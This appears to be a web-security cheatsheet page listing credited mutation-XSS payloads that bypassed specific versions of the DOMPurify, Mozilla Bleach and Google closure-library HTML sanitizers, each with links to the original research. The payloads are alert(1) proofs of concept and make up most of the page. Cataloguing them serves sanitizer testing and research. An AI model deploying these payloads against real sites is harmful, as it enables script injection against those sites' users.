XSS

mXSS

mXSS cheatsheet

Source of table

/ Payload examples

This page contains some examples of payloads used to bypass sanitizers in the past. There are many other examples but to avoid redundancy we will add only ones that include new vectors or techniques.

DomPurify

Version	Payload	Credit	Additional links
2.0.0	<svg></p><style><a id="</style><img src=1 onerror=alert(1)>">	Michał Bentkowski @SecurityMB	https://research.securitum.com/dompurify-bypass-using-mxss/
2.0.17	<form><math><mtext></form><form><mglyph><style></math><img src onerror=alert(1)>	Michał Bentkowski @SecurityMB	https://research.securitum.com/mutation-xss-via-mathml-mutation-dompurify-2-0-17-bypass/
2.0.17	<math><mtext><table><mglyph><style><!--</style><img title="--&gt;&lt;/mglyph&gt;&lt;img&Tab;src=1&Tab;onerror=alert(1)&gt;">	Gareth Heyes @garethheyes	https://portswigger.net/research/bypassing-dompurify-again-with-mutation-xss
2.0.17	<math><mtext><table><mglyph><style><math><table id=”</table>”><img src onerror=alert(1)”>	@sqrtrev @0xParrot @web_payload team @GuesserSuper	https://twitter.com/0xsapra/status/1307929537749999616?ref_src=twsrc%5Etfw
2.2.0	<form><math><mtext></form><form><mglyph><svg><mtext><style><path id="</style><img onerror=alert(1) src>">	Daniel Santos @bananabr	https://vovohelo.medium.com/from-svg-and-back-yet-another-mutation-xss-via-namespace-confusion-for-dompurify-2-2-2-bypass-5d9ae8b1878f
2.2.3	<svg><xss><desc><noscript>&lt;/noscript>&lt;/desc>&lt;p>&lt;/p>&lt;style>&lt;a title="&lt;/style>&lt;img src onerror=alert(1)>">	Michał Bentkowski @SecurityMB	https://twitter.com/SecurityMB/status/1341290687963262978
3.0.8	<svg><annotation-xml><foreignobject><style><!--</style><p id="--><img src='x' onerror='alert(1)'>">	Kévin - Mizu @kevin_mizu	https://mizu.re/post/playing-with-dompurify-ce-handling
3.1.0	n = 506; var payload = `${"<div>".repeat(n)}<table id="outer"><caption id="outer"><svg><desc><table id="inner"><caption id="inner"></caption></table></desc><style><a title="</style><img src onerror=alert(1)>"></a></style></svg></caption></table>${"</div>".repeat(n)}`;	icesfont	N/A
3.1.7	<svg><a><foreignobject><a><table><a></table><style><!--</style></svg><a id="-><img src onerror=alert(1)>">.	Masato Kinugawa @kinugawamasato	https://x.com/kinugawamasato/status/1843687909431582830

Mozilla Bleach

Version	Payload	Credit	Additional links
3.1.0	<noscript><style></noscript><img src=x onerror=alert(1)>	Yaniv Nizry @YNizry	https://checkmarx.com/blog/vulnerabilities-discovered-in-mozilla-bleach/
3.1.1	<svg><style><img src=x onerror=alert(1)>	Yaniv Nizry @YNizry	https://checkmarx.com/blog/vulnerabilities-discovered-in-mozilla-bleach/
3.2.3	<math><p></p><style><!--</style><img src/onerror=alert(1)>--></style></math>	Yaniv Nizry @YNizry	https://github.com/mozilla/bleach/security/advisories/GHSA-vv2x-vrpj-qqpq

Google closure-library

Version	Payload	Credit	Additional links
v20190215	<noscript><p title="</noscript><img src=x onerror=alert(1)>">	Masato Kinugawa @kinugawamasato	https://github.com/google/closure-library/commit/c79ab48e8e962fee57e68739c00e16b9934c0ffa https://www.youtube.com/watch?v=lG7U3fuNw3A